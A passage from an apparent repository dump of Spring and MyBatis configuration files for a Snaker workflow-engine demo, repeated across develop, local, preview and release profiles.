propagation=\"REQUIRED\"/>\n            <tx:method name=\"complete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"finish*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"terminate*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"take*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"deploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"undeploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"redeploy*\" propagation=\"REQUIRED\"/>\n\n            <tx:method name=\"get*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"find*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"query*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"search*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"is*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"*\" propagation=\"REQUIRED\"/>\n        </tx:attributes>\n    </tx:advice>\n\n    <aop:config>\n        <!--or execution(* com.snakerflow.app.modules.service..*.*(..))\n        or execution(* com.snakerflow.framework.*.service..*.*(..))-->\n        <aop:advisor advice-ref=\"txAdvice\" pointcut=\"execution(* org.snaker.engine.core..*.*(..))\n    or execution(* com.snakerflow.demo.*.service..*.*(..))\"/>\n    </aop:config>\n    <aop:aspectj-autoproxy proxy-target-class=\"true\"/>\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/develop/mybatis.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n    <settings>\n        <!-- 解决数据库字段(带下划线字段)到javabean中属性驼峰原则命名的转换\n            问题举例：\n            数据库表字段名为contribute_id,生成的映射实体类对应字段为contributeId,\n            但是就是读取不到该字段值\n         -->\n        <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n    </settings>\n    <typeAliases>\n        <package name=\"org.snaker.engine.entity\"/>\n    </typeAliases>\n    <!-- 引用映射文件 -->\n    <mappers>\n        <!-- resource : 相对路径查询资源的属性.\n        相对于当前核心配置文件的位置开始查找映射文件.\n        -->\n        <!--<mapper resource=\"com/bjsxt/pojo/model.User-mapper.xml\"/>-->\n        <mapper resource=\"mapper/process.xml\"/>\n        <mapper resource=\"mapper/order.xml\"/>\n        <mapper resource=\"mapper/task.xml\"/>\n        <mapper resource=\"mapper/task-actor.xml\"/>\n        <mapper resource=\"mapper/hist-order.xml\"/>\n        <mapper resource=\"mapper/hist-task.xml\"/>\n        <mapper resource=\"mapper/hist-task-actor.xml\"/>\n        <mapper resource=\"mapper/query.xml\"/>\n        <mapper resource=\"mapper/hist-query.xml\"/>\n    </mappers>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/develop/snaker.properties",
    "content": "#page must config\njdbc.pageSize=15\n#subprocessurl=snaker/subprocess/view"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/local/application.properties",
    "content": "#debug=true\nspring.datasource.url = jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\nspring.datasource.username = root\nspring.datasource.password = 123456\nspring.datasource.driverClassName = com.mysql.jdbc.Driver\nspring.datasource.max-active=40\nspring.datasource.max-idle=8\nspring.datasource.min-idle=8\nspring.datasource.initial-size=10\n\n#ȲЧ\nspring.devtools.restart.enabled=true\n#Ŀ¼\nspring.devtools.restart.additional-paths=src/main/java\n\n#TODO ģļ(Զ壩\nsnaker.workflow.model.path=snakerflow/examination.snaker\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/local/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd \n\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd \n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n       default-lazy-init=\"true\">\n\n    <description>Spring公共配置</description>\n\n    <context:annotation-config/>\n    <!--<context:component-scan base-package=\"com.snakerflow.demo\"/>-->\n    <!-- 定义受环境影响易变的变量 -->\n    <bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n        <property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\"/>\n        <property name=\"ignoreResourceNotFound\" value=\"true\"/>\n        <property name=\"locations\">\n            <list>\n                <value>classpath*:/application.properties</value>\n            </list>\n        </property>\n    </bean>\n\n    <!--FIXME\n    <bean id=\"yamlProperties\" class=\"org.springframework.beans.factory.config.YamlPropertiesFactoryBean\">\n        <property name=\"resources\" value=\"classpath:application.yml\"/>\n    </bean>\n    <context:property-placeholder properties-ref=\"yamlProperties\"/>\n    -->\n\n    <!-- 数据源配置,使用应用内的DBCP数据库连接池 -->\n    <!--FIXME springboot数据源默认配置请看：org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration\n    东软框架目前使用的是默认数据源org.apache.tomcat.jdbc.pool.DataSource，\n    此处使用默认数据源之一：org.apache.commons.dbcp.BasicDataSource\n    -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\" destroy-method=\"close\">\n        <property name=\"driverClassName\" value=\"${spring.datasource.driverClassName}\"/>\n        <property name=\"url\" value=\"${spring.datasource.url}\"/>\n        <property name=\"username\" value=\"${spring.datasource.username}\"/>\n        <property name=\"password\" value=\"${spring.datasource.password}\"/>\n        <property name=\"maxIdle\" value=\"${spring.datasource.max-idle}\"/>\n        <property name=\"maxActive\" value=\"${spring.datasource.max-active}\"/>\n        <property name=\"defaultAutoCommit\" value=\"false\"/>\n    </bean>\n\n    <!--FIXME 不集成mybatis-plus请取消注释 mybatis：SqlSessionFactory Config -->\n    <!--<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\"/>\n    </bean>-->\n\n    <!--FIXME 集成mybatis-plus请取消注释 mybatisplus：SqlSessionFactory Config -->\n    <!--集成mybatis-plus start-->\n    <bean id=\"sqlSessionFactory\" class=\"com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n    </bean>\n    <!--集成mybatis-plus end-->\n\n    <!--snaker mybatis access start-->\n    <bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n        <property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n    </bean>\n    <!--snaker mybatis access end-->\n\n    <!--SnakerEngine配置 start-->\n    <context:component-scan base-package=\"org.snaker.engine\"/>\n    <bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n        <property name=\"processService\" ref=\"processService\"/>\n        <property name=\"orderService\" ref=\"orderService\"/>\n        <property name=\"taskService\" ref=\"taskService\"/>\n        <property name=\"queryService\" ref=\"queryService\"/>\n        <property name=\"managerService\" ref=\"managerService\"/>\n    </bean>\n    <bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n        <property name=\"cacheManager\" ref=\"cacheManager\"/>\n    </bean>\n    <bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n    <bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n    <bean class=\"org.snaker.engine.spring.SpelExpression\"/>\n    <!--SnakerEngine配置 end-->\n\n    <!-- 事务管理器配置-->\n    <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n    </bean>\n\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"start*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"execute*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"save*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"delete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"update*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"remove*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"assign*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"create*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"complete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"finish*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"terminate*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"take*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"deploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"undeploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"redeploy*\" propagation=\"REQUIRED\"/>\n\n            <tx:method name=\"get*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"find*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"query*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"search*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"is*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"*\" propagation=\"REQUIRED\"/>\n        </tx:attributes>\n    </tx:advice>\n\n    <aop:config>\n        <!--or execution(* com.snakerflow.app.modules.service..*.*(..))\n        or execution(* com.snakerflow.framework.*.service..*.*(..))-->\n        <aop:advisor advice-ref=\"txAdvice\" pointcut=\"execution(* org.snaker.engine.core..*.*(..))\n    or execution(* com.snakerflow.demo.*.service..*.*(..))\"/>\n    </aop:config>\n    <aop:aspectj-autoproxy proxy-target-class=\"true\"/>\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/local/mybatis.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n    <settings>\n        <!-- 解决数据库字段(带下划线字段)到javabean中属性驼峰原则命名的转换\n            问题举例：\n            数据库表字段名为contribute_id,生成的映射实体类对应字段为contributeId,\n            但是就是读取不到该字段值\n         -->\n        <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n    </settings>\n    <typeAliases>\n        <package name=\"org.snaker.engine.entity\"/>\n    </typeAliases>\n    <!-- 引用映射文件 -->\n    <mappers>\n        <!-- resource : 相对路径查询资源的属性.\n        相对于当前核心配置文件的位置开始查找映射文件.\n        -->\n        <!--<mapper resource=\"com/bjsxt/pojo/model.User-mapper.xml\"/>-->\n        <mapper resource=\"mapper/process.xml\"/>\n        <mapper resource=\"mapper/order.xml\"/>\n        <mapper resource=\"mapper/task.xml\"/>\n        <mapper resource=\"mapper/task-actor.xml\"/>\n        <mapper resource=\"mapper/hist-order.xml\"/>\n        <mapper resource=\"mapper/hist-task.xml\"/>\n        <mapper resource=\"mapper/hist-task-actor.xml\"/>\n        <mapper resource=\"mapper/query.xml\"/>\n        <mapper resource=\"mapper/hist-query.xml\"/>\n    </mappers>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/local/snaker.properties",
    "content": "#page must config\njdbc.pageSize=15\n#subprocessurl=snaker/subprocess/view"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/preview/application.properties",
    "content": "#debug=true\nspring.datasource.url = jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\nspring.datasource.username = root\nspring.datasource.password = 123456\nspring.datasource.driverClassName = com.mysql.jdbc.Driver\nspring.datasource.max-active=40\nspring.datasource.max-idle=8\nspring.datasource.min-idle=8\nspring.datasource.initial-size=10\n\n#ȲЧ\nspring.devtools.restart.enabled=true\n#Ŀ¼\nspring.devtools.restart.additional-paths=src/main/java\n\n#TODO ģļ(Զ壩\nsnaker.workflow.model.path=snakerflow/examination.snaker\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/preview/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd \n\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd \n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n       default-lazy-init=\"true\">\n\n    <description>Spring公共配置</description>\n\n    <context:annotation-config/>\n    <!--<context:component-scan base-package=\"com.snakerflow.demo\"/>-->\n    <!-- 定义受环境影响易变的变量 -->\n    <bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n        <property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\"/>\n        <property name=\"ignoreResourceNotFound\" value=\"true\"/>\n        <property name=\"locations\">\n            <list>\n                <value>classpath*:/application.properties</value>\n            </list>\n        </property>\n    </bean>\n\n    <!--FIXME\n    <bean id=\"yamlProperties\" class=\"org.springframework.beans.factory.config.YamlPropertiesFactoryBean\">\n        <property name=\"resources\" value=\"classpath:application.yml\"/>\n    </bean>\n    <context:property-placeholder properties-ref=\"yamlProperties\"/>\n    -->\n\n    <!-- 数据源配置,使用应用内的DBCP数据库连接池 -->\n    <!--FIXME springboot数据源默认配置请看：org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration\n    东软框架目前使用的是默认数据源org.apache.tomcat.jdbc.pool.DataSource，\n    此处使用默认数据源之一：org.apache.commons.dbcp.BasicDataSource\n    -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\" destroy-method=\"close\">\n        <property name=\"driverClassName\" value=\"${spring.datasource.driverClassName}\"/>\n        <property name=\"url\" value=\"${spring.datasource.url}\"/>\n        <property name=\"username\" value=\"${spring.datasource.username}\"/>\n        <property name=\"password\" value=\"${spring.datasource.password}\"/>\n        <property name=\"maxIdle\" value=\"${spring.datasource.max-idle}\"/>\n        <property name=\"maxActive\" value=\"${spring.datasource.max-active}\"/>\n        <property name=\"defaultAutoCommit\" value=\"false\"/>\n    </bean>\n\n    <!--FIXME 不集成mybatis-plus请取消注释 mybatis：SqlSessionFactory Config -->\n    <!--<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\"/>\n    </bean>-->\n\n    <!--FIXME 集成mybatis-plus请取消注释 mybatisplus：SqlSessionFactory Config -->\n    <!--集成mybatis-plus start-->\n    <bean id=\"sqlSessionFactory\" class=\"com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n    </bean>\n    <!--集成mybatis-plus end-->\n\n    <!--snaker mybatis access start-->\n    <bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n        <property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n    </bean>\n    <!--snaker mybatis access end-->\n\n    <!--SnakerEngine配置 start-->\n    <context:component-scan base-package=\"org.snaker.engine\"/>\n    <bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n        <property name=\"processService\" ref=\"processService\"/>\n        <property name=\"orderService\" ref=\"orderService\"/>\n        <property name=\"taskService\" ref=\"taskService\"/>\n        <property name=\"queryService\" ref=\"queryService\"/>\n        <property name=\"managerService\" ref=\"managerService\"/>\n    </bean>\n    <bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n        <property name=\"cacheManager\" ref=\"cacheManager\"/>\n    </bean>\n    <bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n    <bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n    <bean class=\"org.snaker.engine.spring.SpelExpression\"/>\n    <!--SnakerEngine配置 end-->\n\n    <!-- 事务管理器配置-->\n    <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n    </bean>\n\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"start*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"execute*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"save*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"delete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"update*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"remove*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"assign*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"create*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"complete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"finish*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"terminate*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"take*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"deploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"undeploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"redeploy*\" propagation=\"REQUIRED\"/>\n\n            <tx:method name=\"get*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"find*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"query*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"search*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"is*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"*\" propagation=\"REQUIRED\"/>\n        </tx:attributes>\n    </tx:advice>\n\n    <aop:config>\n        <!--or execution(* com.snakerflow.app.modules.service..*.*(..))\n        or execution(* com.snakerflow.framework.*.service..*.*(..))-->\n        <aop:advisor advice-ref=\"txAdvice\" pointcut=\"execution(* org.snaker.engine.core..*.*(..))\n    or execution(* com.snakerflow.demo.*.service..*.*(..))\"/>\n    </aop:config>\n    <aop:aspectj-autoproxy proxy-target-class=\"true\"/>\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/preview/mybatis.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n    <settings>\n        <!-- 解决数据库字段(带下划线字段)到javabean中属性驼峰原则命名的转换\n            问题举例：\n            数据库表字段名为contribute_id,生成的映射实体类对应字段为contributeId,\n            但是就是读取不到该字段值\n         -->\n        <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n    </settings>\n    <typeAliases>\n        <package name=\"org.snaker.engine.entity\"/>\n    </typeAliases>\n    <!-- 引用映射文件 -->\n    <mappers>\n        <!-- resource : 相对路径查询资源的属性.\n        相对于当前核心配置文件的位置开始查找映射文件.\n        -->\n        <!--<mapper resource=\"com/bjsxt/pojo/model.User-mapper.xml\"/>-->\n        <mapper resource=\"mapper/process.xml\"/>\n        <mapper resource=\"mapper/order.xml\"/>\n        <mapper resource=\"mapper/task.xml\"/>\n        <mapper resource=\"mapper/task-actor.xml\"/>\n        <mapper resource=\"mapper/hist-order.xml\"/>\n        <mapper resource=\"mapper/hist-task.xml\"/>\n        <mapper resource=\"mapper/hist-task-actor.xml\"/>\n        <mapper resource=\"mapper/query.xml\"/>\n        <mapper resource=\"mapper/hist-query.xml\"/>\n    </mappers>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/preview/snaker.properties",
    "content": "#page must config\njdbc.pageSize=15\n#subprocessurl=snaker/subprocess/view"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/release/application.properties",
    "content": "#debug=true\nspring.datasource.url = jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\nspring.datasource.username = root\nspring.datasource.password = 123456\nspring.datasource.driverClassName = com.mysql.jdbc.Driver\nspring.datasource.max-active=40\nspring.datasource.max-idle=8\nspring.datasource.min-idle=8\nspring.datasource.initial-size=10\n\n#ȲЧ\nspring.devtools.restart.enabled=true\n#Ŀ¼\nspring.devtools.restart.additional-paths=src/main/java\n\n#TODO ģļ(Զ壩\nsnaker.workflow.model.path=snakerflow/examination.snaker\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/release/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd \n\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd \n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n       default-lazy-init=\"true\">\n\n    <description>Spring公共配置</description>\n\n    <context:annotation-config/>\n    <!--<context:component-scan base-package=\"com.snakerflow.demo\"/>-->\n    <!-- 定义受环境影响易变的变量 -->\n    <bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n        <property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\"/>\n        <property name=\"ignoreResourceNotFound\" value=\"true\"/>\n        <property name=\"locations\">\n            <list>\n                <value>classpath*:/application.properties</value>\n            </list>\n        </property>\n    </bean>\n\n    <!--FIXME\n    <bean id=\"yamlProperties\" class=\"org.springframework.beans.factory.config.YamlPropertiesFactoryBean\">\n        <property name=\"resources\" value=\"classpath:application.yml\"/>\n    </bean>\n    <context:property-placeholder properties-ref=\"yamlProperties\"/>\n    -->\n\n    <!-- 数据源配置,使用应用内的DBCP数据库连接池 -->\n    <!--FIXME springboot数据源默认配置请看：org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration\n    东软框架目前使用的是默认数据源org.apache.tomcat.jdbc.pool.DataSource，\n    此处使用默认数据源之一：org.apache.commons.dbcp.BasicDataSource\n    -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\" destroy-method=\"close\">\n        <property name=\"driverClassName\" value=\"${spring.datasource.driverClassName}\"/>\n        <property name=\"url\" value=\"${spring.datasource.url}\"/>\n        <property name=\"username\" value=\"${spring.datasource.username}\"/>\n        <property name=\"password\" value=\"${spring.datasource.password}\"/>\n        <property name=\"maxIdle\" value=\"${spring.datasource.max-idle}\"/>\n        <property name=\"maxActive\" value=\"${spring.datasource.max-active}\"/>\n        <property name=\"defaultAutoCommit\" value=\"false\"/>\n    </bean>\n\n    <!--FIXME 不集成mybatis-plus请取消注释 mybatis：SqlSessionFactory Config -->\n    <!--<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\"/>\n    </bean>-->\n\n    <!--FIXME 集成mybatis-plus请取消注释 mybatisplus：SqlSessionFactory Config -->\n    <!--集成mybatis-plus start-->\n    <bean id=\"sqlSessionFactory\" class=\"com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n    </bean>\n    <!--集成mybatis-plus end-->\n\n    <!--snaker mybatis access start-->\n    <bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n        <property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n    </bean>\n    <!--snaker mybatis access end-->\n\n    <!--SnakerEngine配置 start-->\n    <context:component-scan base-package=\"org.snaker.engine\"/>\n    <bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n        <property name=\"processService\" ref=\"processService\"/>\n        <property name=\"orderService\" ref=\"orderService\"/>\n        <property name=\"taskService\" ref=\"taskService\"/>\n        <property name=\"queryService\" ref=\"queryService\"/>\n        <property name=\"managerService\" ref=\"managerService\"/>\n    </bean>\n    <bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n        <property name=\"cacheManager\" ref=\"cacheManager\"/>\n    </bean>\n    <bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n    <bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n    <bean class=\"org.snaker.engine.spring.SpelExpression\"/>\n    <!--SnakerEngine配置 end-->\n\n    <!-- 事务管理器配置-->\n    <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n    </bean>\n\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"start*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"execute*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"save*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"delete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"update*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"remove*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"assign*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"create*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"complete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"finish*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"terminate*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"take*\" 